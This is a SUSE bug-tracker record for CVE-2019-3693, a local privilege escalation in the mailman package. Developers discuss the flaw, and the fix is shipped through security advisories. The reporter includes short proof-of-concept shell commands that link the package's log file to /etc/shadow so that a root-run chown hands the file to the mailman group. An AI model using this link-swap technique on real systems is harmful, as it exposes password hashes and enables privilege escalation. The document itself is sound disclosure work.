Bug 1154328 - (CVE-2019-3693) VUL-0: CVE-2019-3693: mailman: LPE from wwwrun to root; ability to chgrp arbitrary files to mailman
(CVE-2019-3693)
VUL-0: CVE-2019-3693: mailman: LPE from wwwrun to root; ability to chgrp arbi...
Status: RESOLVED FIXED
Classification: Novell Products
Product: SUSE Security Incidents
Classification: Novell Products
Component: Audits
unspecified
Other Other
: P3 - Medium : Normal
: ---
Assigned To: Security Team bot
Security Team bot
https://smash.suse.de/issue/245243/
CVSSv3:SUSE:CVE-2019-3693:7.0:(AV:L/A...
:
Depends on:
Blocks: 1154062
  Show dependency treegraph
 
Reported: 2019-10-17 11:13 UTC by Johannes Segitz
Modified: 2021-06-23 13:37 UTC (History)
6 users (show)

See Also:
Found By: ---
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Johannes Segitz 2019-10-17 11:13:21 UTC
272 if [ -e %{varmmdir}/logs/error ]; then
273     chown wwwrun.mailman %{varmmdir}/logs/error

on systems with fs.protected_hardlinks=0 this allows users in group mailman to gain access to arbitrary files that have group permissions.

POC:
sh-5.0$ id
uid=72(mailman) gid=67(mailman) groups=67(mailman)
sh-5.0$ pwd
/var/lib/mailman/logs
sh-5.0$ rm error
sh-5.0$ ln /etc/shadow error

as root:
zypper in  -f mailman
ls -lah /etc/shadow
-rw-r----- 2 wwwrun mailman 1.6K Oct 17 13:05 /etc/shadow

For user wwwrun this alloes LPE from root with the same vector
Comment 2 Matej Cepl 2019-10-17 15:56:03 UTC
I don’t get this. If this is a security bug, how it is different from any other g+w directory in the system? You could do the same with any other such directory.

If a sysadmin wants to be that much paranoid, then they should certainly set fs.protected_hardlinks=1 and be done with it.
Comment 3 Johannes Segitz 2019-10-21 07:00:37 UTC
(In reply to Matej Cepl from comment #2)
> I don’t get this. If this is a security bug, how it is different from any other g+w directory in the system? You could do the same with any other such directory.

You don't have chown running on the other directories. But yes, it would also be an issue if a privileged process would operate in these directories and trust the content.

> If a sysadmin wants to be that much paranoid, then they should certainly set fs.protected_hardlinks=1 and be done with it.

fs.protected_hardlinks is definitely a recommended setting, but the security of our packages shouldn't depend on it
Comment 4 Johannes Segitz 2019-10-25 11:56:23 UTC
Also works with symlinks on default systems:

sh-5.0$ id
uid=72(mailman) gid=67(mailman) groups=67(mailman)
sh-5.0$ pwd
/var/lib/mailman/logs
sh-5.0$ rm error
sh-5.0$ ln -s /test/shadow error
sh-5.0$ ls -l
total 0
lrwxrwxrwx 1 mailman mailman 12 Oct 25 13:54 error -> /test/shadow

Reinstall mailman

sh-5.0$ ls -lah /test/shadow
-r-------- 1 wwwrun mailman 1.2K Oct 25 13:20 /test/shadow

Please use CVE-2019-3693 to track this. You can make this bug public at any point
Comment 5 Matej Cepl 2019-10-26 19:54:34 UTC
(In reply to Johannes Segitz from comment #3)
> You don't have chown running on the other directories. But yes, it would
> also be an issue if a privileged process would operate in these directories
> and trust the content.

Except the process which is dangerous is not mailman, but zypper in this case. And if somebody has root access enough to run zypper in -f than I think we lost anyway. This really seems like a nit to me.
Comment 6 Johannes Segitz 2019-11-04 12:22:46 UTC
(In reply to Matej Cepl from comment #5)
The dangerous part is in the packaging of mailman, it's not a zypper issue. rpm just executes what is packaged.

And the zypper -f is just an POC. The real attack would need to wait for the next mailman update to trigger the problem.
Comment 7 Matej Cepl 2019-11-15 17:32:54 UTC
OK, so what do you think about https://build.suse.de/request/show/205299 and https://build.suse.de/request/show/205298 ?
Comment 8 Johannes Segitz 2019-11-18 10:42:47 UTC
(In reply to Matej Cepl from comment #7)
that looks good, thank you
Comment 10 Swamp Workflow Management 2019-11-25 20:13:24 UTC
SUSE-SU-2019:14230-1: An update that fixes one vulnerability is now available.

Category: security (important)
Bug References: 1154328
CVE References: CVE-2019-3693
Sources used:
SUSE Linux Enterprise Server 11-SP4-LTSS (src):    mailman-2.1.15-9.6.15.1
SUSE Linux Enterprise Point of Sale 11-SP3 (src):    mailman-2.1.15-9.6.15.1
SUSE Linux Enterprise Debuginfo 11-SP4 (src):    mailman-2.1.15-9.6.15.1
SUSE Linux Enterprise Debuginfo 11-SP3 (src):    mailman-2.1.15-9.6.15.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
Comment 11 Swamp Workflow Management 2019-11-26 20:14:38 UTC
SUSE-SU-2019:3076-1: An update that fixes one vulnerability is now available.

Category: security (important)
Bug References: 1154328
CVE References: CVE-2019-3693
Sources used:
SUSE OpenStack Cloud Crowbar 8 (src):    mailman-2.1.17-3.11.1
SUSE OpenStack Cloud 8 (src):    mailman-2.1.17-3.11.1
SUSE OpenStack Cloud 7 (src):    mailman-2.1.17-3.11.1
SUSE Linux Enterprise Server for SAP 12-SP3 (src):    mailman-2.1.17-3.11.1
SUSE Linux Enterprise Server for SAP 12-SP2 (src):    mailman-2.1.17-3.11.1
SUSE Linux Enterprise Server for SAP 12-SP1 (src):    mailman-2.1.17-3.11.1
SUSE Linux Enterprise Server 12-SP5 (src):    mailman-2.1.17-3.11.1
SUSE Linux Enterprise Server 12-SP4 (src):    mailman-2.1.17-3.11.1
SUSE Linux Enterprise Server 12-SP3-LTSS (src):    mailman-2.1.17-3.11.1
SUSE Linux Enterprise Server 12-SP3-BCL (src):    mailman-2.1.17-3.11.1
SUSE Linux Enterprise Server 12-SP2-LTSS (src):    mailman-2.1.17-3.11.1
SUSE Linux Enterprise Server 12-SP2-BCL (src):    mailman-2.1.17-3.11.1
SUSE Linux Enterprise Server 12-SP1-LTSS (src):    mailman-2.1.17-3.11.1
SUSE Enterprise Storage 5 (src):    mailman-2.1.17-3.11.1
HPE Helion Openstack 8 (src):    mailman-2.1.17-3.11.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
Comment 13 Swamp Workflow Management 2020-01-24 11:10:06 UTC
This is an autogenerated message for OBS integration:
This bug (1154328) was mentioned in
https://build.opensuse.org/request/show/766800 15.1 / mailman
Comment 14 Swamp Workflow Management 2020-01-29 20:32:32 UTC
openSUSE-SU-2020:0148-1: An update that fixes one vulnerability is now available.

Category: security (moderate)
Bug References: 1154328
CVE References: CVE-2019-3693
Sources used:
openSUSE Leap 15.1 (src):    mailman-2.1.29-lp151.3.3.1
Comment 15 Swamp Workflow Management 2020-02-04 05:10:56 UTC
openSUSE-SU-2020:0156-1: An update that fixes one vulnerability is now available.

Category: security (moderate)
Bug References: 1154328
CVE References: CVE-2019-3693
Sources used:
openSUSE Backports SLE-15-SP1 (src):    mailman-2.1.29-bp151.5.3.1
Comment 16 Wolfgang Rosenauer 2020-02-21 09:01:11 UTC
It seems that after the update on my 15.1 box I get permission errors like
mailman@ds9:~> /usr/bin/python -S /usr/lib/mailman/cron/disabled
Traceback (most recent call last):
  File "/usr/lib/mailman/cron/disabled", line 227, in <module>
    main()
  File "/usr/lib/mailman/cron/disabled", line 220, in main
    mlist.Save()
  File "/usr/lib/mailman/Mailman/MailList.py", line 617, in Save
    self.CheckHTMLArchiveDir()
  File "/usr/lib/mailman/Mailman/Archiver/Archiver.py", line 241, in CheckHTMLArchiveDir
    makelink(privdir, pubdir)
  File "/usr/lib/mailman/Mailman/Archiver/Archiver.py", line 49, in makelink
    os.symlink(old, new)
OSError: [Errno 13] Permission denied

but also for other cron tasks.
Comment 17 Johannes Segitz 2020-03-19 09:09:45 UTC
Caused by
+%dir %attr(750, root, www) %{_localstatedir}/lib/mailman/archives
+%dir %attr(750, mailman, www) %{_localstatedir}/lib/mailman/archives/private
and not directly related to the security issue. I'll clone this bug, assign to the maintainer and close this bug
Comment 18 Johannes Segitz 2020-03-19 09:23:00 UTC
(In reply to Johannes Segitz from comment #17)
Keeping it open for SLE tracking
Comment 19 Matej Cepl 2020-03-19 18:02:35 UTC
(In reply to Johannes Segitz from comment #17)
> Caused by
> +%dir %attr(750, root, www) %{_localstatedir}/lib/mailman/archives
> +%dir %attr(750, mailman, www) %{_localstatedir}/lib/mailman/archives/private
> and not directly related to the security issue. I'll clone this bug, assign
> to the maintainer and close this bug

What do you mean was supposed to happen here?

+%dir %attr(750, mailman, www) %{_localstatedir}/lib/mailman/archives

???
Comment 20 Johannes Segitz 2020-03-20 08:42:06 UTC
(In reply to Matej Cepl from comment #19)
I can't tell you what should happen there, but the change is unrelated to the problem reported here, since that only involved %{varmmdir}/logs/error

Please discuss the other issue in the cloned bug so we can keep this one for the security issues itself (unless I misunderstand and the change was necessary for the security fix)
Comment 21 Johannes Segitz 2021-06-23 13:37:02 UTC
is fixed